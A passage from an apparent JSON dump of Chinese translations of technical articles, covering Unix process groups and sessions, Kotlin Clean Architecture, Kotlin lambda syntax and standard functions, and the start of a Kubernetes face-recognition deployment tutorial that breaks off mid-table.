PGID   SID TTY      TPGID STAT   UID   TIME COMMAND\n    0     1     1     1 ?           -1 Ss       0   0:03 /sbin/init\n29051  1470  1470 29051 pts/2     2386 SN    1000   0:00 sleep 100\n29051  1538  1538 29051 pts/2     2386 SN    1000   0:00 sleep 101\n29051  2386  2386 29051 pts/2     2386 R+    1000   0:00 ps j -A\n    1 29051 29051 29051 pts/2     2386 Ss    1000   0:00 -bash\n```\n\n除了使用 PPID 和 PID 表示的父子进程关系外，进程间还有其他两种关系：\n\n* 用 PGID 表示的进程组\n* 用 SID 表示的会话\n\n我们可以在支持作业控制的 Shell 环境中观察到进程组，例如 `bash` 和 `zsh`，它们为每个管道命令都创建了一个进程组。进程组是一个或多个进程（通常与一个作业关联）的集合，可以从同一个终端接收信号。每个进程组都有一个唯一的进程组 ID。\n\n```shell\n# 启动一个由 tail 和 grep 命令组成的进程组\n$ tail -f /var/log/syslog | grep \"CRON\" &\n\n$ ps j\n PPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND\n29051 19701 19701 29051 pts/2    19784 SN    1000   0:00 tail -f /var/log/syslog\n29051 19702 19701 29051 pts/2    19784 SN    1000   0:00 grep CRON\n29051 19784 19784 29051 pts/2    19784 R+    1000   0:00 ps j\n29050 29051 29051 29051 pts/2    19784 Ss    1000   0:00 -bash\n```\n\n请注意，在前半段中，`tail` 和 `grep` 的 PGID 是相同的。\n\n会话是进程组的集合，通常由一个控制终端和一个会话领导进程组成。如果会话中有一个控制终端，它就具有单个前台进程组，除了该控制终端，会话中的所有其他进程组都是后台进程组。\n\n![会话](http://morningcoffee.io/images/killing-a-process-and-all-of-its-descendants/sessions.png)\n\n并非所有的 bash 进程都是会话，但是当你使用 SSH 登录一台远程服务器时，你通常会得到一个会话。当 bash 作为会话领导进程运行时，它将 SIGHUP 信号传播给它的子进程。SIGHUP 信号的传播方式就是我一直以来坚信子进程会与父进程一起消亡的核心原因。\n\n## 在 Unix 中会话的实现并非一致\n\n在上述事例中，你可以注意到 SID （进程的会话 ID）出现的位置。它是会话中所有进程共享的 ID。\n\n但是，你需要记住，并非所有的 Unix 系统都遵循这一实现。单一 UNIX 规范只讨论“会话领导进程”，没有类似于进程 ID 或进程组 ID 的“会话 ID”。会话领导进程是一个具有唯一进程 ID 的单进程，因此我们可以讨论的会话 ID 是会话领导者的进程 ID。\n\nSystem V Release 4 引入了会话 ID。\n\n实际上，这意味着你能在 Linux 上通过 `ps` 命令获取会话 ID，但是在 BSD 及其变体（如 MacOS）上，会话 ID 并不存在，或始终为零。\n\n## 杀死进程组或会话中的所有进程\n\n我们可以使用该 PGID，通过 kill 命令向整个进程组发送信号：\n\n```shell\n$ kill -SIGTERM -- -19701\n```\n\n我们用一个负数 `-19701` 向进程组发送信号。如果我们传递的是一个正数，这个数将被视为进程 ID 用于终止进程。如果我们传递的是一个负数，它被视为 PGID，用于终止整个进程组。\n\n负数来自系统调用的直接定义。\n\n杀死会话中的所有进程与之完全不同。如我们在前一节说到的，有些系统没有会话 ID 的概念。即使是具有会话 ID 的系统，例如 Linux，也没有提供系统调用来终止会话中的所有进程。你需要遍历 `/proc` 输出的进程树，收集所有的 SID，然后一一终止进程。\n\nPgrep 实现了遍历、收集并通过会话 ID 杀死进程的算法。使用以下命令：\n\n```shell\npkill -s <SID>\n```\n\n## 被 nohup 忽略的信号传播到子进程\n\n被忽略的信号，就像是被 `nohup` 忽略的信号那样，都被传播到进程的所有子进程中。这种信号传播方式就是我上周在 bug 排查中遇到的最终瓶颈。\n\n我的程序是用于运行 bash 命令的代理程序，而我在该程序中验证到的是，我已经建立了一个具有控制终端的 bash 会话。该控制终端是 bash 会话中其他启动进程的会话领导进程。我的进程树如下所示：\n\n```shell\nagent -+\n       +- bash (session leader) -+\n                                 | - process1\n                                 | - process2\n```\n\n我假设，当我使用 SIGHUP 杀死 bash 会话时，它的子进程也会同时终止。对代理的集成测试也证明了这一点。\n\n但是，我忽略了这个代理是以 `nohup` 启动的。当你使用 `exec` 启动子进程时，就像我们在代理中启动 bash 进程一样，它会从它的父进程继承信号状态。\n\n最后一个结论使我惊讶万分。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/kotlin-clean-architecture.md",
    "content": "> * 原文地址：[Kotlin Clean Architecture](https://proandroiddev.com/kotlin-clean-architecture-1ad42fcd97fa)\n> * 原文作者：[Rakshit jain](https://medium.com/@rjain.jain444)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/kotlin-clean-architecture.md](https://github.com/xitu/gold-miner/blob/master/TODO1/kotlin-clean-architecture.md)\n> * 译者：[JasonWu111](https://github.com/JasonWu1111)\n> * 校对者：[yangxy81118](https://github.com/yangxy81118)\n\n# Kotlin Clean 架构\n\n![](https://cdn-images-1.medium.com/max/2000/0*sfCDEb571WD-7EfP.jpg)\n\n强大的基础架构对于一个应用扩展和满足用户群体的期望来说是非常重要的。我有一个用新更新和优化的 API 结构来替换旧 API 的任务，为了整合这种更改，我一定程度地重写了整个应用。\n\n为什么？因为代码与其响应的数据模型（data models）**深度耦合**。这次，我不想一遍又一遍地犯同样的错误。为了解决这个问题，我使用了 Clean 架构。在一开始会有点痛苦，但对于具有许多功能和 **SOLID** 方法的大型应用来说可能是最佳选择。让我们试着带着疑问去看架构的每个层面，然后分解成更简单的点。\n\n* [**news-sample-app: 创建 GitHub 账号来为本应用的开发做贡献**](https://github.com/rakshit444/news-sample-app)\n\n这个架构是由 Robert C. Martin（Uncle Bob）在 [clean code blog](http://blog.cleancoder.com/uncle-bob/2012/08/13/the-clean-architecture.html) 中于 2012 年提出的。\n\n### 为什么是 Clean 架构？\n\n1. 在不同层级中分离具有**特定职责**的代码，让其更容易做进一步修改。\n2. 高度的**抽象**\n3. 代码**解耦**\n4. 轻松的代码**测试**\n\n> “整洁的代码总是看起来像是由在意它的人来写的。”\n>\n> — Michael Feathers\n\n### 有哪些层级？\n\n![Dependency Flow](https://cdn-images-1.medium.com/max/2000/1*a5UQUjgYu5SZAbmkNELI_A.png)\n\n**Domain 层：** 将执行独立于任何层级的业务逻辑，并且只是一个没有 Android 相关依赖的纯 kotlin 包。\n\n**Data 层：** 通过实现 Domain 层的公开接口，将应用所需的数据分配给 Domain 层。\n\n**Presentation 层：** 将包括 Domain 层和 Data 层，并且是 Android 特定的，用于执行 UI 逻辑。\n\n### 什么是 Domain 层？\n\n这将是三个层级中最通用的一个。它将 Presentation 层和 Data 层连接起来，并执行应用相关的业务逻辑。\n\n![The domain layer structure of the application](https://cdn-images-1.medium.com/max/2000/1*m06XFPa5OTvOF6zGPC7Q0w.png)\n\n### 用例\n\n用例是应用逻辑执行程序。正如名称所示，每个功能都可以有其独立的用例。创建更加精细的用例可以被更频繁地复用。\n\n```Kotlin\nclass GetNewsUseCase(private val transformer: FlowableRxTransformer<NewsSourcesEntity>,\n                     private val repositories: NewsRepository): BaseFlowableUseCase<NewsSourcesEntity>(transformer){\n\n    override fun createFlowable(data: Map<String, Any>?): Flowable<NewsSourcesEntity> {\n        return repositories.getNews()\n    }\n\n    fun getNews(): Flowable<NewsSourcesEntity>{\n        val data = HashMap<String, String>()\n        return single(data)\n    }\n}\n```\n\n此用例返回的是可根据所需观察者进行修改的 Flowable 类型。它有两个参数。其中之一是 **transformers** 或 [ObservableTransformer](http://reactivex.io/RxJava/javadoc/io/reactivex/ObservableTransformer.html)，它控制执行逻辑的线程和另外的参数 **repository**，是 Data 层的接口。如果有任何的数据必须传递给 Data 层，则可以使用 HashMap。\n\n### Repositories\n\n它指定了由 Data 层实现的用例所需的功能。\n\n### 什么是 Data 层？\n\n该层级负责提供应用所需的数据。Data 层应该设计任何应用都可以重复使用而无需在其展示逻辑中进行修改的数据。\n\n![The data layer structure of the application](https://cdn-images-1.medium.com/max/2000/1*KbdhwDpsxspHEz7QInpbhA.png)\n\n**API** 提供远程网络实现。任何网络库都可以集成到这里，如 retrofit、volley 等。同样，**DB** 提供本地数据库实现。\n\n```Kotlin\nclass NewsRepositoryImpl(private val remote: NewsRemoteImpl,\n                         private val cache: NewsCacheImpl) : NewsRepository {\n\n    override fun getLocalNews(): Flowable<NewsSourcesEntity> {\n        return cache.getNews()\n    }\n\n    override fun getRemoteNews(): Flowable<NewsSourcesEntity> {\n        return remote.getNews()\n    }\n\n    override fun getNews(): Flowable<NewsSourcesEntity> {\n        val updateNewsFlowable = remote.getNews()\n        return cache.getNews()\n                .mergeWith(updateNewsFlowable.doOnNext{\n                    remoteNews -> cache.saveArticles(remoteNews)\n                })\n    }\n}\n```\n\n在 Repository 中，我们有本地、远程或任何类型的数据提供程序的实现，而上面的类 NewsRepositoryImpl.kt 实现了 Domain 层公开的接口。它充当 Data 层的单一访问点。\n\n**什么是 Presentation 层？**\n\nPresentation 层提供应用的 UI 实现。它不做别的事，只执行没有逻辑的指令。该层内部实现了 MVC、MVP、MVVM、MVI 等架构。所有的连接工作都在本层。\n\n![The presentation layer structure of the application](https://cdn-images-1.medium.com/max/2000/1*4UH3LeLcGg8tjp1BmPm1jw.png)\n\n**DI** 文件夹实现了在应用开始时注入所有的依赖项，如网络相关、View Models、用例等。可以使用 dagger、kodein、koin 或只使用服务定位器模式（service locator pattern）实现 Android 中的 DI。它只取决于应用本身，如对于复杂的应用，DI 可能非常有用。我选择 koin 只是因为它比 dagger 更容易理解和实现。\n\n**为什么使用 ViewModels？**\n\n根据 Android [ViewModel](https://developer.android.com/topic/libraries/architecture/viewmodel) 文档：\n\n> **以生命周期的方式存储和管理 UI 相关数据。它允许数据在配置更改（例如屏幕旋转）后继续存活。**\n\n```Kotlin\nclass NewsViewModel(private val getNewsUseCase: GetNewsUseCase,\n                    private val mapper: Mapper<NewsSourcesEntity, NewsSources>) : BaseViewModel() {\n\n    companion object {\n        private val TAG = \"viewmodel\"\n    }\n\n    var mNews = MutableLiveData<Data<NewsSources>>()\n\n    fun fetchNews() {\n        val disposable = getNewsUseCase.getNews()\n                .flatMap { mapper.Flowable(it) }\n                .subscribe({ response ->\n                    Log.d(TAG, \"On Next Called\")\n                    mNews.value = Data(responseType = Status.SUCCESSFUL, data = response)\n                }, { error ->\n                    Log.d(TAG, \"On Error Called\")\n                    mNews.value = Data(responseType = Status.ERROR, error = Error(error.message))\n                }, {\n                    Log.d(TAG, \"On Complete Called\")\n                })\n\n        addDisposable(disposable)\n    }\n\n    fun getNewsLiveData() = mNews\n}\n```\n\n因此，ViewModel 会保留有关配置更改的数据。在 MVP 中，Presenter 使用接口绑定到 view，这会变得难以测试，但在 ViewModel 中，由于架构感知组件（architectural aware components）而没有接口。\n\nBase View Model 使用 [CompositeDisposable](http://reactivex.io/RxJava/javadoc/io/reactivex/disposables/CompositeDisposable.html) 来添加所有的 observables 对象，并在生命周期的 @OnCleared 中移除它们。\n\n```Kotlin\ndata class Data<RequestData>(var responseType: Status, var data: RequestData? = null, var error: Error? = null)\n\nenum class Status { SUCCESSFUL, ERROR, LOADING }\n```\n\n数据 wrapper 类作为辅助类用于 LiveData，以便 view 了解数据请求的状态，即它是否已开始、成功或任何有关数据的状态。\n\n**如何连接所有的层级？**\n\n每个层都有自己特定于该包的 **实体类（entities）**。Mapper 用于将一个层的实体类转换为另一个层的实体类。我们为每个层设置了不同的实体类，以便该层变得绝对独立，并且只将所需的数据传递给后续的层。\n\n### 应用流程\n\n![](https://cdn-images-1.medium.com/max/2516/1*a-AUcEVdyRJhIepo9JyJBw.png)\n\n***\n\n本文差不多要结束了，如果我错过了任何内容，请告诉我。让我总结一下：\n\n> 基础架构定义了应用程序的一致性。诚然，选择什么架构也是基于应用来的，但是为什么不**提前**选择最合适的架构呢，如可扩展的，强大的，可测试的，这样你就不必在未来面对痛苦。\n\n感谢阅读本文 :)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/kotlin-demystified-understanding-shorthand-lamba-syntax.md",
    "content": "> * 原文地址：[Kotlin Demystified: Understanding Shorthand Lambda Syntax](https://medium.com/google-developers/kotlin-demystified-understanding-shorthand-lamba-syntax-74724028dcc5)\n> * 原文作者：[Nicole Borrelli](https://medium.com/@borrelli?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/kotlin-demystified-understanding-shorthand-lamba-syntax.md](https://github.com/xitu/gold-miner/blob/master/TODO1/kotlin-demystified-understanding-shorthand-lamba-syntax.md)\n> * 译者：[androidxiao](https://github.com/androidxiao)\n\n# Kotlin 揭秘：理解并速记 Lambda 语法\n\n![](https://cdn-images-1.medium.com/max/1600/1*bNXslQsg8CYCyD5-1MkK5A.jpeg)\n\n摄影：[Stefan Steinbauer](https://unsplash.com/photos/HK8IoD-5zpg?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)，来自 [Unsplash](https://unsplash.com/search/photos/secret?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)。\n\n在奥地利旅行期间，我参观了维也纳的奥地利国家图书馆。特别是国会大厅，这个令人惊叹的空间感觉就像印第安纳琼斯电影中的一些东西。房间周围的空间是这些门被装在架子上，很容易想象它们背后隐藏着什么样的秘密。\n\n然而，事实证明，它们只是简单的图书馆。\n\n让我们假设我们有一个应用程序来跟踪库中的书籍。有一天，我们想知道这个系列中最长和最短的书是什么。之后，我们编写代码，允许我们找到这两个：\n\n```\nval shortestBook = library.minBy { it.pageCount }val longestBook = library.maxBy { it.pageCount }\n```\n\n完美！但这让我感到疑惑，这些方法是如何工作的？`it` 是怎么知道的，只是写了 `it.pageCount`，到底该怎么做呢？\n\n我做的第一件事就是定义 `minBy` 和 `maxBy`，这两者都是在 [Collections.kt](https://github.com/JetBrains/kotlin/blob/1.2.50/libraries/stdlib/common/src/generated/_Collections.kt)。由于它们几乎完全相同，所以让我们来看看 `maxBy`，它从 1559 行开始。\n\n那里的方法是在 `[Iterable](https://developer.android.com/reference/java/lang/Iterable)` 接口上构建的，但是如果我们做一个小的重写来使用`[Collection](https://developer.android.com/reference/java/util/Collection)`s，也许将一些变量的重命名变的更冗长，更容易理解：\n\n```\npublic inline fun <T, R : Comparable<R>> Collection<T>.maxBy(selector: (T) -> R): T? {\n    if (isEmpty()) return null\n    var maxElement = first()\n    var maxValue = selector(maxElement)\n    for (element in this) {\n        val value = selector(element)\n        if (maxValue < value) {\n            maxElement = element\n            maxValue = value\n        }\n    }\n    return maxElement\n}\n```\n\n我们可以看到它只是在 `Collection` 中获取每个元素，检查来自 `selector` 的值是否大于它看到的最大值。如果是，则保存元素和值。最后，它返回它找到的最大元素。相当简单。\n\n然而 `selector`，看起来很整洁,它必须是允许我们在上面使用 `it.pageCount` 的东西，所以让我们再看看它。\n\n即使只是在这一行中，甚至还有相当多的语法糖。在这种情况下，对于 `selector: (T) -> R` 来说是一个带有单个参数 `T` 的函数，并返回一些类型 `R` 相关的返回值。\n\n可行的方法是 Kotlin 包含一组名为 `FunctionN` 的接口，其中 `N` 是它接受的参数数量。由于我们有一个参数，我们可以实现 `Function1` 接口，然后在我们的代码中使用它：\n\n```\nclass BookSelector : Function1<Book, Int> {\n   override fun invoke(book: Book): Int {\n       return book.pageCount\n   }\n}\n \nval longestBook = library.maxBy(BookSelector())\n```\n\n这无疑显示了它的工作原理。`selector` 是一个 `Function1`，当给定 `Book` 时，返回一个 `Int`。然后，`maxBy` 获取 `Int` 并将其与它具有的值进行比较。\n\n顺便说一句，这也解释了为什么泛型参数 `R` 具有类型 `R [implements] Comparable <R>`。如果 `R` 不是 `Comparable `，我们不能做 `if（maxValue <value）`。\n\n接下来的问题是，我们如何从那开始，到我们开始的一个循环？让我们逐步完成整个过程。\n\n首先，代码可以替换为 `lambda`，它已经减少了很多：\n\n```\nval longestBook = library.maxBy({\n    it.pageCount\n})\n```\n\n下一步是如果方法的最后一个参数是 lambda，我们可以关闭括号，然后将 lambda 添加到行的末尾，如下所示：\n\n```\nval longestBook = library.maxBy() {\n    it.pageCount\n}\n```\n\n最后，如果一个方法只接受一个 lambda 参数，我们就可以完全放弃 `()` 方法，这会让我们回到初始代码：\n\n```\nval longestBook = library.maxBy { it.pageCount }\n```\n\n但是等等！那个 `Function1` 要怎么样！我每次使用它时都会执行分配吗？\n\n这是一个很好的问题！好消息是，不，你不是。如果你再看一遍，你会看到它 `maxBy` 被标记为一个 `inline` 函数。这在编译期时会在源级别发生，因此虽然编译的代码比最初看起来的样本多，但是没有任何显着的性能影响，当然也没有对象分配。\n\n真棒！现在，我们不仅知道图书馆中最短（也是最长）的书籍，我们还能更好地理解 `maxBy` 它是如何工作的。我们看到 Kotlin 如何使用`[FunctionN](#full)` lambda 的接口，以及如何将 lambda 表达式移到函数的参数列表之外。最后，我们知道，当只有一个 lambda 参数调用函数时，可以[完全省略](https://medium.com/google-developers/kotlin-demystified-understanding-shorthand-lamba-syntax-74724028dcc5#noparen)通常使用[的括号](https://medium.com/google-developers/kotlin-demystified-understanding-shorthand-lamba-syntax-74724028dcc5#noparen)。\n\n查看 [Google Developers](https://medium.com/google-developers) 博客，了解更多精彩内容，敬请期待更多关于 Kotlin 的文章！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/kotlin-standard-functions-cheat-sheet.md",
    "content": "> * 原文地址：[Kotlin Standard Functions cheat-sheet](https://medium.com/androiddevelopers/kotlin-standard-functions-cheat-sheet-27f032dd4326)\n> * 原文作者：[Jose Alcérreca](https://medium.com/@JoseAlcerreca)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/kotlin-standard-functions-cheat-sheet.md](https://github.com/xitu/gold-miner/blob/master/TODO1/kotlin-standard-functions-cheat-sheet.md)\n> * 译者：[Feximin](https://github.com/Feximin)\n> * 校对者：[phxnirvana](https://github.com/phxnirvana)\n\n# Kotlin 标准方法备忘\n\n上周我在[推特](https://twitter.com/ppvi/status/1081168598813601793)上谈到了 **Kotlin 标准方法备忘的新内容**，我发现它们比传统的方法更好。它并不关注每个方法的工作原理，而是根据开发人员想要实现的目标来提供指导：\n\n![](https://i.loli.net/2019/04/14/5cb2920d19bb0.png)\n\n以 [PNG](https://raw.githubusercontent.com/JoseAlcerreca/kotlin-std-fun/master/Kotlin%20Standard%20Functions%20v1.png) 或者 [PDF](https://github.com/JoseAlcerreca/kotlin-std-fun/raw/master/Kotlin%20Standard%20Functions%20v1.pdf) 格式下载 **Kotlin 标准方法流程图**。\n\n![**Kotlin Standard Functions flowchart**](https://cdn-images-1.medium.com/max/5404/1*cKwEowUXup3K7LmiMgn3XQ.png)\n\n该流程图**为建议性**：每个决定都是有原因的，从语义到可读性。例如：虽然 `apply` 也会有副作用，但在一个单独的方法中使用会更具可读性和安全性。\n\n该流程图**并非详尽无遗**：还有其他用例未涉及。如：`run` 虽然可用于限制作用域，但最好将它提取到一个方法中。\n\n该流程图**尚未完成**：随着编程语言的发展和模式的出现，我们将对其进行更新。\n\n我还提供了传统的表格:\n\n![](https://i.loli.net/2019/04/14/5cb292386ad34.png)\n\n以 [PNG](https://raw.githubusercontent.com/JoseAlcerreca/kotlin-std-fun/master/Kotlin%20Standard%20Functions%20Table.png) 或者 [PDF](https://github.com/JoseAlcerreca/kotlin-std-fun/raw/master/Kotlin%20Standard%20Functions%20Table.pdf) 格式下载 **Kotlin 标准方法表格**。\n\n链接:\n\n* [Github 仓库](https://github.com/JoseAlcerreca/kotlin-std-fun)\n\n**感谢每一个为该图表和会话做出贡献的人**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/kubernetes-distributed-application.md",
    "content": "> * 原文地址：[KUBERNETES DISTRIBUTED APPLICATION DEPLOYMENT WITH SAMPLE FACE RECOGNITION APP](https://skarlso.github.io/2018/03/15/kubernetes-distributed-application/)\n> * 原文作者：[skarlso](https://skarlso.github.io/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/kubernetes-distributed-application.md](https://github.com/xitu/gold-miner/blob/master/TODO1/kubernetes-distributed-application.md)\n> * 译者：[maoqyhz](https://github.com/maoqyhz)\n> * 校对者：[cf020031308](https://github.com/cf020031308)、[HCMY](https://github.com/HCMY)\n\n# Kubernetes 分布式应用部署和人脸识别 app 实例\n\n![](https://skarlso.github.io/img/2018/03/kube_overview.png)\n\n好的，伙计，让我们静下心来。下面将会是一个漫长但充满希望和有趣的旅程。\n\n我将使用 [Kubernetes](https://kubernetes.io/) 部署分布式应用程序。我试图创建一个类似于真实世界 app 的应用程序。显然，由于时间和精力有限，我不得不忽略一些细节部分。\n\n我的重点将放在 Kubernetes 和应用部署上。\n\n准备好进入正题了吗？\n\n## 关于应用\n\n摘要\n\n![kube overview](https://skarlso.github.io/img/kube_overview.png)\n\n应用程序由六个部分组成。代码仓库可在这里找到：[Kube Cluster Sample](https://github.com/Skarlso/kube-cluster-sample)。\n\n这是一个人脸识别的服务应用，它可以识别人物的图像并将其和已知人物进行比较。识别结果会在一个简单的前端中，通过表格的形式展现出来，可以看到这些待识别的图像中的人物是谁。应用的运行过程如下：首先向[接收器](https://github.com/Skarlso/kube-cluster-sample/tree/master/receiver)发送请求，请求中需要包含图像的路径。这些图像可存储在 NFS 一类的地方，同时接收器会将图像路径存储在 DB（MySQL）中。最后向队列发送一个处理请求，包含保存图像的 ID。这里使用 [NSQ](http://nsq.io/) 作为队列（**译者注**：NSQ 是一个基于 Go 语言的分布式实时消息平台）。\n\n期间，[图像处理](https://github.com/Skarlso/kube-cluster-sample/tree/master/image_processor)服务会不间断地监视将要执行作业的队列。处理流程由以下步骤组成：取 ID；加载图像；最后，通过 [gRPC](https://grpc.io/) 将图像发送到用 Python 编写的[人脸识别](https://github.com/Skarlso/kube-cluster-sample/tree/master/face_recognition)后端程序。如果识别成功，后端将返回与该图像中人物相对应的名称。然后，图像处理器会更新图像记录的人物 ID 字段，并将图像标记为“processed successfully”。如果识别不成功，图像将被保留为“pending”。 如果在识别过程中出现故障，图像将被标记为“failed”。\n\n处理失败的图像可以通过 cron 作业重试，例如：\n\n那么这是如何工作的？让我们来看看 。\n\n## 接收器\n\n接收器服务是整个流程的起点。这个 API 接收如下格式的请求：\n\n```\ncurl -d '{\"path\":\"/unknown_images/unknown0001.jpg\"}' http://127.0.0.1:8000/image/post\n```\n\n在这个例子中，接收器通过共享数据库集群来存储图像路径。当数据库存储图像路径成功后，接收器实例就能从数据库服务中接收图像 ID。此应用程序是基于在持久层提供实体对象唯一标识的模型的。一旦 ID 产生，接收器会向 NSQ 发送一个消息。到这里，接收器的工作就完成了。\n\n## 图像处理器\n\n下面是激动人心的开始。当图像处理器第一次运行时，它会创建两个 Go 协程（routine）。 他们是：\n\n### Consume\n\n这是一个 NSQ 消费者。它有三个必要的工作。首先，它能够监听队列中的消息。其次，当其接收到消息后，会将收到的 ID 添加到第二个例程处理的线程安全的 ID 切片中去。最后，它通过 [sync.Condition](https://golang.org/pkg/sync/#Cond) 告知第二个协程有工作要做。\n\n### ProcessImages\n\n该例程处理 ID 切片，直到切片完全耗尽。一旦切片消耗完，例程将暂停而不是等待 channel。以下是处理单个 ID 的步骤：\n\n*   与人脸识别服务建立 gRPC 连接（在下面人脸识别章节解释）\n*   从数据库中取回图像记录\n*   设置 [断路器](#断路器) 的两个函数\n    *   函数 1: 运行 RPC 方法调用的主函数\n    *   函数 2: 对断路器的 Ping 进行健康检查\n*   调用函数 1，发送图像路径到人脸识别服务。服务需要能够访问该路径。最好能像 NFS 一样进行文件共享\n*   如果调用失败，更新图像记录的状态字段为“FAILED PROCESSING”\n*   如果成功，将会返回数据库中与图片相关的人物名。它会执行一个 SQL 的连接查询，获取到相关的人物 ID\n*   更新数据库中图片记录的状态字段为“PROCESSED”，以及人物字段为识别出的人物 ID\n\n这个服务可以被复制，换句话说，可以同时运行多个服务。\n\n### 断路器\n\n虽然这是一个不需要太大精力就能够复制资源的系统，但仍可能存在状况，例如网络故障、服务间的通信问题。因此我在 gRRC 调用上实现了一个小小的断路器作为乐趣。\n\n它是这样工作的：\n\n![kube circuit](https://skarlso.github.io/img/kube_circuit1.png)\n\n正如你所见到的，在服务中一旦有 5 个不成功的调用，断路器将会被激活，并且不允许任何调用通过。经过一段配置的时间后，会向服务发送一个 Ping 调用，并检测服务是否返回信息。如果仍然出错，会增加超时时间，否则就会打开，允许流量通过。\n\n## 前端\n\n这只是一个简单的表格视图，使用 Go 自带的 HTML 模板来渲染图像列表。\n\n## 人脸识别\n\n这里是识别魔术发生的地方。为了追求灵活性，我决定将人脸识别这项功能封装成为基于 gRPC 的服务。我开始打算用 Go 语言去编写，但后来发现使用 Python 来实现会更加清晰。事实上，除了 gPRC 代码之外，人脸识别部分大概需要 7 行 Python 代码。我正在使用一个极好的库，它包含了所有 C 实现的 OpenCV 的调用。[人脸识别](https://github.com/ageitgey/face_recognition)。在这里签订 API 使用协议，也就意味着在协议的许可下，我可以随时更改人脸识别代码的实现。\n\n请注意，这里存在一个可以用 Go 语言来开发 OpenCV 的库。我差点就用它了，但是它并没有包含 C 实现的 OpenCV 的调用。这个库叫做 [GoCV](https://gocv.io/)，你可以去了解一下。它们有些非常了不起的地方，比如，实时的摄像头反馈处理，只需要几行代码就能够实现。\n\npython 的库本质上很简单。现在，我们有一组已知的人物图像，并将其命名为 `hannibal_1.jpg, hannibal_2.jpg, gergely_1.jpg, john_doe.jpg` 放在文件夹中。在数据库中包含两张表，分别是 `person` 和 `person_images`。它们看起来像这样：\n\n```\n+----+----------+\n| id | name     |\n+----+----------+\n|  1 | Gergely  |\n|  2 | John Doe |\n|  3 | Hannibal 